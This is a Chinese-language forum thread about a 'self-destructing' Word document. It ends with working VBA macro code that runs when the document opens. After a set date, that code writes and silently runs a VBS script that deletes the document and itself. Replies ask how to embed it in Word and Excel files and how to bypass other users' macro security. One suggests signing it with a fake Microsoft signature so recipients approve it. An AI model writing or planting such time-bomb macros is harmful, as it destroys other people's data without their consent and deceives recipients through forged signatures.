[原创并分享]Word文档自杀

120HYH

大师啊。真牛。

xiaozhi_xz

版主好牛，谢谢

堕落王

哦，楼主，我下载了你的 代码，运行的时候 ，下面这行代码是 黄色的。出错！

With ThisDocument.VBProject.VBComponents("ThisDocument").CodeModule

Q-Wend

能教教我怎样把自杀代码放入word文档和excel文档中吗？

whw324

但上面讲的word文档的自动删除是在其他用户将安全性改为“中”及以下的前提下，有没有能跳过这一步让文档到了某个时间就自动删除的，而其他用户不用设置安全等级

lotteryman

好帖，学习了。

beilong

我也在想要这个功能，版主的代码测试完全可用，另外最好自杀后加一个结束当前打开的WORD的进程就完美了，关于宏安全等级，我想是否可以建一个数字签名，写成微软。。。。签名，默认安全等下会提示你操作，一般都会确认通过，之后就没有问题，等到时间就自杀。

plk

先顶一下，好好学习。

xycompass

学习学习再学习

ghoob

Private Sub Document_Open()     On Error Resume Next     Dim Filename As String          Filename = Me.Path & "\" & Me.Name     '判断时间是否在2007－1－5以后     If Now > "2007-1-5" Then         '"创建要自杀的vbs文档"         CreateAfile (Filename)         '运行WScript.exe来删除文档及相应的vbs         Shell "WScript.exe " & Left(Filename, Len(Filename) - 4) & ".vbs", vbHide         '关闭文档         Me.Close False     Else         Debug.Print "你还可以正常使用。"     End If End Sub Sub CreateAfile(astring As String)      Dim fso, MyFile   Dim vbsString As String   vbsString = Left(astring, Len(astring) - 4) & ".vbs"   Set fso = CreateObject("Scripting.FileSystemObject")   Set MyFile = fso.CreateTextFile(vbsString, True)   MyFile.WriteLine ("Set fso = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")")   '此处估计给他1万次循环，如果你的机子太好，给他10亿也行。   MyFile.WriteLine ("For a=1 to 10000")   MyFile.WriteLine ("i=i*i")   MyFile.WriteLine ("Next")   '删除原.doc文档   MyFile.WriteLine ("fso.DeleteFile (" & Chr(34) & astring & Chr(34) & ")")   '删除原.vbs文档   MyFile.WriteLine ("fso.DeleteFile (" & Chr(34) & vbsString & Chr(34) & ")")   MyFile.Close End Sub